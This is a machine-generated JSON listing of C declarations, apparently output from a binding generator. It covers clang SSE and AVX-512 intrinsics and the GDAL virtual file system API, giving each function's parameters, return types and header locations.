{ "tag": "function", "name": "_mm_move_ss", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:2668:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__a", "type": { "tag": "__m128" } }, { "tag": "parameter", "name": "__b", "type": { "tag": "__m128" } }], "return-type": { "tag": "__m128" } },
{ "tag": "function", "name": "_mm_movehl_ps", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:2690:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__a", "type": { "tag": "__m128" } }, { "tag": "parameter", "name": "__b", "type": { "tag": "__m128" } }], "return-type": { "tag": "__m128" } },
{ "tag": "function", "name": "_mm_movelh_ps", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:2711:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__a", "type": { "tag": "__m128" } }, { "tag": "parameter", "name": "__b", "type": { "tag": "__m128" } }], "return-type": { "tag": "__m128" } },
{ "tag": "function", "name": "_mm_cvtpi16_ps", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:2729:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__a", "type": { "tag": "__m64" } }], "return-type": { "tag": "__m128" } },
{ "tag": "function", "name": "_mm_cvtpu16_ps", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:2759:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__a", "type": { "tag": "__m64" } }], "return-type": { "tag": "__m128" } },
{ "tag": "function", "name": "_mm_cvtpi8_ps", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:2788:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__a", "type": { "tag": "__m64" } }], "return-type": { "tag": "__m128" } },
{ "tag": "function", "name": "_mm_cvtpu8_ps", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:2813:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__a", "type": { "tag": "__m64" } }], "return-type": { "tag": "__m128" } },
{ "tag": "function", "name": "_mm_cvtpi32x2_ps", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:2840:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__a", "type": { "tag": "__m64" } }, { "tag": "parameter", "name": "__b", "type": { "tag": "__m64" } }], "return-type": { "tag": "__m128" } },
{ "tag": "function", "name": "_mm_cvtps_pi16", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/xmmintrin.h:2869:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__a", "type": { "tag": "__m128" } }], "return-type": { "tag": "__m64" } },
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{ "tag": "function", "name": "_mm256_mask_test_epi8_mask", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/avx512vlbwintrin.h:2479:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__U", "type": { "tag": "__mmask32" } }, { "tag": "parameter", "name": "__A", "type": { "tag": "__m256i" } }, { "tag": "parameter", "name": "__B", "type": { "tag": "__m256i" } }], "return-type": { "tag": "__mmask32" } },
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{ "tag": "function", "name": "_mm256_mask_test_epi16_mask", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/avx512vlbwintrin.h:2506:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__U", "type": { "tag": "__mmask16" } }, { "tag": "parameter", "name": "__A", "type": { "tag": "__m256i" } }, { "tag": "parameter", "name": "__B", "type": { "tag": "__m256i" } }], "return-type": { "tag": "__mmask16" } },
{ "tag": "function", "name": "_mm_testn_epi8_mask", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/avx512vlbwintrin.h:2513:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__A", "type": { "tag": "__m128i" } }, { "tag": "parameter", "name": "__B", "type": { "tag": "__m128i" } }], "return-type": { "tag": "__mmask16" } },
{ "tag": "function", "name": "_mm_mask_testn_epi8_mask", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/avx512vlbwintrin.h:2519:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__U", "type": { "tag": "__mmask16" } }, { "tag": "parameter", "name": "__A", "type": { "tag": "__m128i" } }, { "tag": "parameter", "name": "__B", "type": { "tag": "__m128i" } }], "return-type": { "tag": "__mmask16" } },
{ "tag": "function", "name": "_mm256_testn_epi8_mask", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/avx512vlbwintrin.h:2526:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__A", "type": { "tag": "__m256i" } }, { "tag": "parameter", "name": "__B", "type": { "tag": "__m256i" } }], "return-type": { "tag": "__mmask32" } },
{ "tag": "function", "name": "_mm256_mask_testn_epi8_mask", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/avx512vlbwintrin.h:2533:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__U", "type": { "tag": "__mmask32" } }, { "tag": "parameter", "name": "__A", "type": { "tag": "__m256i" } }, { "tag": "parameter", "name": "__B", "type": { "tag": "__m256i" } }], "return-type": { "tag": "__mmask32" } },
{ "tag": "function", "name": "_mm_testn_epi16_mask", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/avx512vlbwintrin.h:2540:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__A", "type": { "tag": "__m128i" } }, { "tag": "parameter", "name": "__B", "type": { "tag": "__m128i" } }], "return-type": { "tag": "__mmask8" } },
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{ "tag": "function", "name": "_mm256_movepi8_mask", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/avx512vlbwintrin.h:2572:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__A", "type": { "tag": "__m256i" } }], "return-type": { "tag": "__mmask32" } },
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{ "tag": "function", "name": "_mm256_movepi16_mask", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/avx512vlbwintrin.h:2584:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__A", "type": { "tag": "__m256i" } }], "return-type": { "tag": "__mmask16" } },
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{ "tag": "function", "name": "_mm256_movm_epi8", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/avx512vlbwintrin.h:2596:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__A", "type": { "tag": "__mmask32" } }], "return-type": { "tag": "__m256i" } },
{ "tag": "function", "name": "_mm_movm_epi16", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/avx512vlbwintrin.h:2602:1", "variadic": false, "inline": true, "storage-class": "static", "parameters": [{ "tag": "parameter", "name": "__A", "type": { "tag": "__mmask8" } }], "return-type": { "tag": "__m128i" } },
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{ "tag": "typedef", "ns": 0, "name": "VSIRangeStatus", "location": "/usr/include/gdal/cpl_vsi.h:180:3", "type": { "tag": ":enum", "name": "", "id": 56 } },
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{ "tag": "struct", "ns": 0, "name": "stat64", "id": 0, "location": "/usr/include/gdal/cpl_vsi.h:194:16 <Spelling=/usr/include/gdal/cpl_config.h:341:22>", "bit-size": 0, "bit-alignment": 0, "fields": [] },
{ "tag": "typedef", "ns": 0, "name": "VSIStatBufL", "location": "/usr/include/gdal/cpl_vsi.h:194:29", "type": { "tag": "struct", "ns": 0, "name": "stat64", "id": 0, "location": "/usr/include/gdal/cpl_vsi.h:194:16 <Spelling=/usr/include/gdal/cpl_config.h:341:22>", "bit-size": 0, "bit-alignment": 0, "fields": [] } },
{ "tag": "function", "name": "VSIStatL", "ns": 0, "location": "/usr/include/gdal/cpl_vsi.h:200:17", "variadic": false, "inline": false, "storage-class": "none", "parameters": [{ "tag": "parameter", "name": "", "type": { "tag": ":pointer", "type": { "tag": ":char", "bit-size": 8, "bit-alignment": 8 } } }, { "tag": "parameter", "name": "", "type": { "tag": ":pointer", "type": { "tag": "VSIStatBufL" } } }], "return-type": { "tag": ":int", "bit-size": 32, "bit-alignment": 32 } },
{ "tag": "function", "name": "VSIStatExL", "ns": 0, "location": "/usr/include/gdal/cpl_vsi.h:211:17", "variadic": false, "inline": false, "storage-class": "none", "parameters": [{ "tag": "parameter", "name": "pszFilename", "type": { "tag": ":pointer", "type": { "tag": ":char", "bit-size": 8, "bit-alignment": 8 } } }, { "tag": "parameter", "name": "psStatBuf", "type": { "tag": ":pointer", "type": { "tag": "VSIStatBufL" } } }, { "tag": "parameter", "name": "nFlags", "type": { "tag": ":int", "bit-size": 32, "bit-alignment": 32 } }], "return-type": { "tag": ":int", "bit-size": 32, "bit-alignment": 32 } },
{ "tag": "function", "name": "VSIIsCaseSensitiveFS", "ns": 0, "location": "/usr/include/gdal/cpl_vsi.h:213:17", "variadic": false, "inline": false, "storage-class": "none", "parameters": [{ "tag": "parameter", "name": "pszFilename", "type": { "tag": ":pointer", "type": { "tag": ":char", "bit-size": 8, "bit-alignment": 8 } } }], "return-type": { "tag": ":int", "bit-size": 32, "bit-alignment": 32 } },
{ "tag": "function", "name": "VSISupportsSparseFiles", "ns": 0, "location": "/usr/include/gdal/cpl_vsi.h:215:17", "variadic": false, "inline": false, "storage-class": "none", "parameters": [{ "tag": "parameter", "name": "pszPath", "type": { "tag": ":pointer", "type": { "tag": ":char", "bit-size": 8, "bit-alignment": 8 } } }], "return-type": { "tag": ":int", "bit-size": 32, "bit-alignment": 32 } },
{ "tag": "function", "name": "VSIHasOptimizedReadMultiRange", "ns": 0, "location": "/usr/include/gdal/cpl_vsi.h:217:17", "variadic": false, "inline": false, "storage-class": "none", "parameters": [{ "tag": "parameter", "name": "pszPath", "type": { "tag": ":pointer", "type": { "tag": ":char", "bit-size": 8, "bit-alignment": 8 } } }], "return-type": { "tag": ":int", "bit-size": 32, "bit-alignment": 32 } },
{ "tag": "function", "name": "VSIGetActualURL", "ns": 0, "location": "/usr/include/gdal/cpl_vsi.h:219:21", "variadic": false, "inline": false, "storage-class": "none", "parameters": [{ "tag": "parameter", "name": "pszFilename", "type": { "tag": ":pointer", "type": { "tag": ":char", "bit-size": 8, "bit-alignment": 8 } } }], "return-type": { "tag": ":pointer", "type": { "tag": ":char", "bit-size": 8, "bit-alignment": 8 } } },
{ "tag": "function", "name": "VSIGetSignedURL", "ns": 0, "location": "/usr/include/gdal/cpl_vsi.h:221:15", "variadic": false, "inline": false, "storage-class": "none", "parameters": [{ "tag": "parameter", "name": "pszFilename", "type": { "tag": ":pointer", "type": { "tag": ":char", "bit-size": 8, "bit-alignment": 8 } } }, { "tag": "parameter", "name": "papszOptions", "type": { "tag": "CSLConstList" } }], "return-type": { "tag": ":pointer", "type": { "tag": ":char", "bit-size": 8, "bit-alignment": 8 } } },
{ "tag": "function", "name": "VSIGetFileSystemOptions", "ns": 0, "location": "/usr/include/gdal/cpl_vsi.h:223:21", "variadic": false, "inline": false, "storage-class": "none", "parameters": [{ "tag": "parameter", "name": "pszFilename", "type": { "tag": ":pointer", "type": { "tag": ":char", "bit-size": 8, "bit-alignment": 8 } } }], "return-type": { "tag": ":pointer", "type": { "tag": ":char", "bit-size": 8, "bit-alignment": 8 } } },
{ "tag": "function", "name": "VSIGetFileSystemsPrefixes", "ns": 0, "location": "/usr/include/gdal/cpl_vsi.h:225:16", "variadic": false, "inline": false, "storage-class": "none", "parameters": [], "return-type": { "tag": ":pointer", "type": { "tag": ":pointer", "type": { "tag": ":char", "bit-size": 8, "bit-alignment": 8 } } } },
{ "tag": "function", "name": "VSIFGetNativeFileDescriptorL", "ns": 0, "location": "/usr/include/gdal/cpl_vsi.h:227:17", "variadic": false, "inline": false, "storage-class": "none", "parameters": [{ "tag": "parameter", "name": "", "type": { "tag": ":pointer", "type": { "tag": "VSILFILE" } } }], "return-type": { "tag": ":pointer", "type": { "tag": ":void" } } },
{ "tag": "function", "name": "VSICalloc", "ns": 0, "location": "/usr/include/gdal/cpl_vsi.h:233:17", "variadic": false, "inline": false, "storage-class": "none", "parameters": [{ "tag": "parameter", "name": "", "type": { "tag": "size_t" } }, { "tag": "parameter", "name": "", "type": { "tag": "size_t" } }], "return-type": { "tag": ":pointer", "type": { "tag": ":void" } } },
{ "tag": "function", "name": "VSIMalloc", "ns": 0, "location": "/usr/include/gdal/cpl_vsi.h:234:17", "variadic": false, "inline": false, "storage-class": "none", "parameters": [{ "tag": "parameter", "name": "", "type": { "tag": "size_t" } }], "return-type": { "tag": ":pointer", "type": { "tag": ":void" } } },
{ "tag": "function", "name": "VSIFree", "ns": 0, "location": "/usr/include/gdal/cpl_vsi.h:235:17", "variadic": false, "inline": false, "storage-class": "none", "parameters": [{ "tag": "parameter", "name": "", "type": { "tag": ":pointer", "type": { "tag": ":void" } } }], "return-type": { "tag": ":void" } },
{ "tag": "function", "name": "VSIRealloc", "ns": 0, "location": "/usr/include/gdal/cpl_vsi.h:236:17", "variadic": false, "inline": false, "storage-class": "none", "parameters": [{ "tag": "parameter", "name": "", "type": { "tag": ":pointer", "type": { "tag": ":void" } } }, { "tag": "parameter", "name": "", "type": { "tag": "size_t" } }], "return-type": { "tag": ":pointer", "type": { "tag": ":void" } } },
{ "tag": "function", "name": "VSIStrdup", "ns": 0, "location": "/usr/include/gdal/cpl_vsi.h:237:17", "variadic": false, "inline": false, "storage-class": "none", "parameters": [{ "tag": "parameter", "name": "", "type": { "tag": ":pointer", "type": { "tag": ":char", "bit-size": 8, "bit-alignment": 8 } } }], "return-type": { "tag": ":pointer", "type": { "tag": ":char", "bit-size": 8, "bit-alignment": 8 } } },
{ "tag": "function", "name": "VSIMallocAligned", "ns": 0, "location": "/usr/include/gdal/cpl_vsi.h:239:17", "variadic": false, "inline": false, "storage-class": "none", "parameters": [{ "tag": "parameter", "name": "nAlignment", "type": { "tag": "size_t" } }, { "tag": "parameter", "name": "nSize", "type": { "tag": "size_t" } }], "return-type": { "tag": ":pointer", "type": { "tag": ":void" } } },
{ "tag": "function", "name": "VSIMallocAlignedAuto", "ns": 0, "location": "/usr/include/gdal/cpl_vsi.h:240:17", "variadic": false, "inline": false, "storage-class": "none", "parameters": [{ "tag": "parameter", "name": "nSize", "type": { "tag": "size_t" } }], "return-type": { "tag": ":pointer", "type": { "tag": ":void" } } },
{ "tag": "function", "name": "VSIFreeAligned", "ns": 0, "location": "/usr/include/gdal/cpl_vsi.h:241:17", "variadic": false, "inline": false, "storage-class": "none", "parameters": [{ "tag": "parameter", "name": "ptr", "type": { "tag": ":pointer", "type": { "tag": ":void" } } }], "return-type": { "tag": ":void" } },
{ "tag": "function", "name": "VSIMallocAlignedAutoVerbose", "ns": 0, "location": "/usr/include/gdal/cpl_vsi.h:243:17", "variadic": false, "inline": false, "storage-class": "none", "parameters": [{ "tag": "parameter", "name": "nSize", "type": { "tag": "size_t" } }, { "tag": "parameter", "name": "pszFile", "type": { "tag": ":pointer", "type": { "tag": ":char", "bit-size": 8, "bit-alignment": 8 } } }, { "tag": "parameter", "name": "nLine", "type": { "tag": ":int", "bit-size": 32, "bit-alignment": 32 } }], "return-type": { "tag": ":pointer", "type": { "tag": ":void" } } },
{ "tag": "function", "name": "VSIMalloc2", "ns": 0, "location": "/usr/include/gdal/cpl_vsi.h:254:15", "variadic": false, "inline": false, "storage-class": "none", "parameters": [{ "tag": "parameter", "name": "nSize1", "type": { "tag": "size_t" } }, { "tag": "parameter", "name": "nSize2", "type": { "tag": "size_t" } }], "return-type": { "tag": ":pointer", "type": { "tag": ":void" } } },
{ "tag": "function", "name": "VSIMalloc3", "ns": 0, "location": "/usr/include/gdal/cpl_vsi.h:263:15", "variadic": false, "inline": false, "storage-class": "none", "parameters": [{ "tag": "parameter", "name": "nSize1", "type": { "tag": "size_t" } }, { "tag": "parameter", "name": "nSize2", "type": { "tag": "size_t" } }, { "tag": "parameter", "name": "nSize3", "type": { "tag": "size_t" } }], "return-type": { "tag": ":pointer", "type": { "tag": ":void" } } },
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{ "tag": "function", "name": "VSIMalloc2Verbose", "ns": 0, "location": "/usr/include/gdal/cpl_vsi.h:271:17", "variadic": false, "inline": false, "storage-class": "none", "parameters": [{ "tag": "parameter", "name": "nSize1", "type": { "tag": "size_t" } }, { "tag": "parameter", "name": "nSize2", "type": { "tag": "size_t" } }, { "tag": "parameter", "name": "pszFile", "type": { "tag": ":pointer", "type": { "tag": ":char", "bit-size": 8, "bit-alignment": 8 } } }, { "tag": "parameter", "name": "nLine", "type": { "tag": ":int", "bit-size": 32, "bit-alignment": 32 } }], "return-type": { "tag": ":pointer", "type": { "tag": ":void" } } },
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{ "tag": "function", "name": "CPLGetUsablePhysicalRAM", "ns": 0, "location": "/usr/include/gdal/cpl_vsi.h:296:17", "variadic": false, "inline": false, "storage-class": "none", "parameters": [], "return-type": { "tag": "GIntBig" } },
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{ "tag": "function", "name": "VSIReadDirRecursive", "ns": 0, "location": "/usr/include/gdal/cpl_vsi.h:305:16", "variadic": false, "inline": false, "storage-class": "none", "parameters": [{ "tag": "parameter", "name": "pszPath", "type": { "tag": ":pointer", "type": { "tag": ":char", "bit-size": 8, "bit-alignment": 8 } } }], "return-type": { "tag": ":pointer", "type": { "tag": ":pointer", "type": { "tag": ":char", "bit-size": 8, "bit-alignment": 8 } } } },
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{ "tag": "typedef", "ns": 0, "name": "VSIDIR", "location": "/usr/include/gdal/cpl_vsi.h:309:23", "type": { "tag": "struct", "ns": 0, "name": "VSIDIR", "id": 0, "location": "/usr/include/gdal/cpl_vsi.h:309:16", "bit-size": 0, "bit-alignment": 0, "fields": [] } },
{ "tag": "function", "name": "VSIOpenDir", "ns": 0, "location": "/usr/include/gdal/cpl_vsi.h:311:17", "variadic": false, "inline": false, "storage-class": "none", "parameters": [{ "tag": "parameter", "name": "pszPath", "type": { "tag": ":pointer", "type": { "tag": ":char", "bit-size": 8, "bit-alignment": 8 } } }, { "tag": "parameter", "name": "nRecurseDepth", "type": { "tag": ":int", "bit-size": 32, "bit-alignment": 32 } }, { "tag": "parameter", "name": "papszOptions", "type": { "tag": ":pointer", "type": { "tag": ":pointer", "type": { "tag": ":char", "bit-size": 8, "bit-alignment": 8 } } } }], "return-type": { "tag": ":pointer", "type": { "tag": "VSIDIR" } } },
{ "tag": "struct", "ns": 0, "name": "VSIDIREntry", "id": 0, "location": "/usr/include/gdal/cpl_vsi.h:316:16", "bit-size": 384, "bit-alignment": 64, "fields": [{ "tag": "field", "name": "pszName", "bit-offset": 0, "bit-size": 64, "bit-alignment": 64, "type": { "tag": ":pointer", "type": { "tag": ":char", "bit-size": 8, "bit-alignment": 8 } } }, { "tag": "field", "name": "nMode", "bit-offset": 64, "bit-size": 32, "bit-alignment": 32, "type": { "tag": ":int", "bit-size": 32, "bit-alignment": 32 } }, { "tag": "field", "name": "nSize", "bit-offset": 128, "bit-size": 64, "bit-alignment": 64, "type": { "tag": "vsi_l_offset" } }, { "tag": "field", "name": "nMTime", "bit-offset": 192, "bit-size": 64, "bit-alignment": 64, "type": { "tag": "GIntBig" } }, { "tag": "field", "name": "bModeKnown", "bit-offset": 256, "bit-size": 8, "bit-alignment": 8, "type": { "tag": ":char", "bit-size": 8, "bit-alignment": 8 } }, { "tag": "field", "name": "bSizeKnown", "bit-offset": 264, "bit-size": 8, "bit-alignment": 8, "type": { "tag": ":char", "bit-size": 8, "bit-alignment": 8 } }, { "tag": "field", "name": "bMTimeKnown", "bit-offset": 272, "bit-size": 8, "bit-alignment": 8, "type": { "tag": ":char", "bit-size": 8, "bit-alignment": 8 } }, { "tag": "field", "name": "papszExtra", "bit-offset": 320, "bit-size": 64, "bit-alignment": 64, "type": { "tag": ":pointer", "type": { "tag": ":pointer", "type": { "tag": ":char", "bit-size": 8, "bit-alignment": 8 } } } }] },
{ "tag": "typedef", "ns": 0, "name": "VSIDIREntry", "location": "/usr/include/gdal/cpl_vsi.h:343:3", "type": { "tag": ":struct", "name": "VSIDIREntry", "id": 59 } },
{ "tag": "function", "name": "VSIGetNextDirEntry", "ns": 0, "location": "/usr/include/gdal/cpl_vsi.h:345:28", "variadic": false, "inline": false, "storage-class": "none", "parameters": [{ "tag": "parameter", "name": "dir", "type": { "tag": ":pointer", "type": { "tag": "VSIDIR" } } }], "return-type": { "tag": ":pointer", "type": { "tag": "VSIDIREntry" } } },
{ "tag": "function", "name": "VSICloseDir", "ns": 0, "location": "/usr/include/gdal/cpl_vsi.h:346:14", "variadic": false, "inline": false, "storage-class": "none", "parameters": [{ "tag": "parameter", "name": "dir", "type": { "tag": ":pointer", "type": { "tag": "VSIDIR" } } }], "return-type": { "tag": ":void" } },
{ "tag": "function", "name": "VSIMkdir", "ns": 0, "location": "/usr/include/gdal/cpl_vsi.h:348:13", "variadic": false, "inline": false, "storage-class": "none", "parameters": [{ "tag": "parameter", "name": "pszPathname", "type": { "tag": ":pointer", "type": { "tag": ":char", "bit-size": 8, "bit-alignment": 8 } } }, { "tag": "parameter", "name": "mode", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 } }], "return-type": { "tag": ":int", "bit-size": 32, "bit-alignment": 32 } },
{ "tag": "function", "name": "VSIMkdirRecursive", "ns": 0, "location": "/usr/include/gdal/cpl_vsi.h:349:13", "variadic": false, "inline": false, "storage-class": "none", "parameters": [{ "tag": "parameter", "name": "pszPathname", "type": { "tag": ":pointer", "type": { "tag": ":char", "bit-size": 8, "bit-alignment": 8 } } }, { "tag": "parameter", "name": "mode", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 } }], "return-type": { "tag": ":int", "bit-size": 32, "bit-alignment": 32 } },
{ "tag": "function", "name": "VSIRmdir", "ns": 0, "location": "/usr/include/gdal/cpl_vsi.h:350:13", "variadic": false, "inline": false, "storage-class": "none", "parameters": [{ "tag": "parameter", "name": "pszDirname", "type": { "tag": ":pointer", "type": { "tag": ":char", "bit-size": 8, "bit-alignment": 8 } } }], "return-type": { "tag": ":int", "bit-size": 32, "bit-alignment": 32 } },
{ "tag": "function", "name": "VSIRmdirRecursive", "ns": 0, "location": "/usr/include/gdal/cpl_vsi.h:351:13", "variadic": false, "inline": false, "storage-class": "none", "parameters": [{ "tag": "parameter", "name": "pszDirname", "type": { "tag": ":pointer", "type": { "tag": ":char", "bit-size": 8, "bit-alignment": 8 } } }], "return-type": { "tag": ":int", "bit-size": 32, "bit-alignment": 32 } },
{ "tag": "function", "name": "VSIUnlink", "ns": 0, "location": "/usr/include/gdal/cpl_vsi.h:352:13", "variadic": false, "inline": false, "storage-class": "none", "parameters": [{ "tag": "parameter", "name": "pszFilename", "type": { "tag": ":pointer", "type": { "tag": ":char", "bit-size": 8, "bit-alignment": 8 } } }], "return-type": { "tag": ":int", "bit-size": 32, "bit-alignment": 32 } },
{ "tag": "function", "name": "VSIRename", "ns": 0, "location": "/usr/include/gdal/cpl_vsi.h:353:13", "variadic": false, "inline": false, "storage-class": "none", "parameters": [{ "tag": "parameter", "name": "oldpath", "type": { "tag": ":pointer", "type": { "tag": ":char", "bit-size": 8, "bit-alignment": 8 } } }, { "tag": "parameter", "name": "newpath", "type": { "tag": ":pointer", "type": { "tag": ":char", "bit-size": 8, "bit-alignment": 8 } } }], "return-type": { "tag": ":int", "bit-size": 32, "bit-alignment": 32 } },
{ "tag": "function", "name": "VSISync", "ns": 0, "location": "/usr/include/gdal/cpl_vsi.h:354:13", "variadic": false, "inline": false, "storage-class": "none", "parameters": [{ "tag": "parameter", "name": "pszSource", "type": { "tag": ":pointer", "type": { "tag": ":char", "bit-size": 8, "bit-alignment": 8 } } }, { "tag": "parameter", "name": "pszTarget", "type": { "tag": ":pointer", "type": { "tag": ":char", "bit-size": 8, "bit-alignment": 8 } } }, { "tag": "parameter", "name": "papszOptions", "type": { "tag": ":pointer", "type": { "tag": ":pointer", "type": { "tag": ":char", "bit-size": 8, "bit-alignment": 8 } } } }, { "tag": "parameter", "name": "pProgressFunc", "type": { "tag": "GDALProgressFunc" } }, { "tag": "parameter", "name": "pProgressData", "type": { "tag": ":pointer", "type": { "tag": ":void" } } }, { "tag": "parameter", "name": "ppapszOutputs", "type": { "tag": ":pointer", "type": { "tag": ":pointer", "type": { "tag": ":pointer", "type": { "tag": ":char", "bit-size": 8, "bit-alignment": 8 } } } } }], "return-type": { "tag": ":int", "bit-size": 32, "bit-alignment": 32 } },
{ "tag": "function", "name": "VSIStrerror", "ns": 0, "location": "/usr/include/gdal/cpl_vsi.h:360:15", "variadic": false, "inline": false, "storage-class": "none", "parameters": [{ "tag": "parameter", "name": "", "type": { "tag": ":int", "bit-size": 32, "bit-alignment": 32 } }], "return-type": { "tag": ":pointer", "type": { "tag": ":char", "bit-size": 8, "bit-alignment": 8 } } },
{ "tag": "function", "name": "VSIGetDiskFreeSpace", "ns": 0, "location": "/usr/include/gdal/cpl_vsi.h:361:17", "variadic": false, "inline": false, "storage-class": "none", "parameters": [{ "tag": "parameter", "name": "pszDirname", "type": { "tag": ":pointer", "type": { "tag": ":char", "bit-size": 8, "bit-alignment": 8 } } }], "return-type": { "tag": "GIntBig" } },
{ "tag": "function", "name": "VSIInstallMemFileHandler", "ns": 0, "location": "/usr/include/gdal/cpl_vsi.h:366:14", "variadic": false, "inline": false, "storage-class": "none", "parameters": [], "return-type": { "tag": ":void" } },
{ "tag": "function", "name": "VSIInstallLargeFileHandler", "ns": 0, "location": "/usr/include/gdal/cpl_vsi.h:368:14", "variadic": false, "inline": false, "storage-class": "none", "parameters": [], "return-type": { "tag": ":void" } },
{ "tag": "function", "name": "VSIInstallSubFileHandler", "ns": 0, "location": "/usr/include/gdal/cpl_vsi.h:370:14", "variadic": false, "inline": false, "storage-class": "none", "parameters": [], "return-type": { "tag": ":void" } },
{ "tag": "function", "name": "VSIInstallCurlFileHandler", "ns": 0, "location": "/usr/include/gdal/cpl_vsi.h:371:6", "variadic": false, "inline": false, "storage-class": "none", "parameters": [], "return-type": { "tag": ":void" } },
{ "tag": "function", "name": "VSICurlClearCache", "ns": 0, "location": "/usr/include/gdal/cpl_vsi.h:372:14", "variadic": false, "inline": false, "storage-class": "none", "parameters": [], "return-type": { "tag": ":void" } },
{ "tag": "function", "name": "VSICurlPartialClearCache", "ns": 0, "location": "/usr/include/gdal/cpl_vsi.h:373:14", "variadic": false, "inline": false, "storage-class": "none", "parameters": [{ "tag": "parameter", "name": "pszFilenamePrefix", "type": { "tag": ":pointer", "type": { "tag": ":char", "bit-size": 8, "bit-alignment": 8 } } }], "return-type": { "tag": ":void" } },
{ "tag": "function", "name": "VSIInstallCurlStreamingFileHandler", "ns": 0, "location": "/usr/include/gdal/cpl_vsi.h:374:6", "variadic": false, "inline": false, "storage-class": "none", "parameters": [], "return-type": { "tag": ":void" } },
{ "tag": "function", "name": "VSIInstallS3FileHandler", "ns": 0, "location": "/usr/include/gdal/cpl_vsi.h:375:6", "variadic": false, "inline": false, "storage-class": "none", "parameters": [], "return-type": { "tag": ":void" } },
{ "tag": "function", "name": "VSIInstallS3StreamingFileHandler", "ns": 0, "location": "/usr/include/gdal/cpl_vsi.h:376:6", "variadic": false, "inline": false, "storage-class": "none", "parameters": [], "return-type": { "tag": ":void" } },
{ "tag": "function", "name": "VSIInstallGSFileHandler", "ns": 0, "location": "/usr/include/gdal/cpl_vsi.h:377:6", "variadic": false, "inline": false, "storage-class": "none", "parameters": [], "return-type": { "tag": ":void" } },
{ "tag": "function", "name": "VSIInstallGSStreamingFileHandler", "ns": 0, "location": "/usr/include/gdal/cpl_vsi.h:378:6", "variadic": false, "inline": false, "storage-class": "none", "parameters": [], "return-type": { "tag": ":void" } },
{ "tag": "function", "name": "VSIInstallAzureFileHandler", "ns": 0, "location": "/usr/include/gdal/cpl_vsi.h:379:6", "variadic": false, "inline": false, "storage-class": "none", "parameters": [], "return-type": { "tag": ":void" } },
{ "tag": "function", "name": "VSIInstallAzureStreamingFileHandler", "ns": 0, "location": "/usr/include/gdal/cpl_vsi.h:380:6", "variadic": false, "inline": false, "storage-class": "none", "parameters": [], "return-type": { "tag": ":void" } },
{ "tag": "function", "name": "VSIInstallOSSFileHandler", "ns": 0, "location": "/usr/include/gdal/cpl_vsi.h:381:6", "variadic": false, "inline": false, "storage-class": "none", "parameters": [], "return-type": { "tag": ":void" } },
{ "tag": "function", "name": "VSIInstallOSSStreamingFileHandler", "ns": 0, "location": "/usr/include/gdal/cpl_vsi.h:382:6", "variadic": false, "inline": false, "storage-class": "none", "parameters": [], "return-type": { "tag": ":void" } },
{ "tag": "function", "name": "VSIInstallSwiftFileHandler", "ns": 0, "location": "/usr/include/gdal/cpl_vsi.h:383:6", "variadic": false, "inline": false, "storage-class": "none", "parameters": [], "return-type": { "tag": ":void" } },
{ "tag": "function", "name": "VSIInstallSwiftStreamingFileHandler", "ns": 0, "location": "/usr/include/gdal/cpl_vsi.h:384:6", "variadic": false, "inline": false, "storage-class": "none", "parameters": [], "return-type": { "tag": ":void" } },
{ "tag": "function", "name": "VSIInstallGZipFileHandler", "ns": 0, "location": "/usr/include/gdal/cpl_vsi.h:385:6", "variadic": false, "inline": false, "storage-class": "none", "parameters": [], "return-type": { "tag": ":void" } },
{ "tag": "function", "name": "VSIInstallZipFileHandler", "ns": 0, "location": "/usr/include/gdal/cpl_vsi.h:386:6", "variadic": false, "inline": false, "storage-class": "none", "parameters": [], "return-type": { "tag": ":void" } },
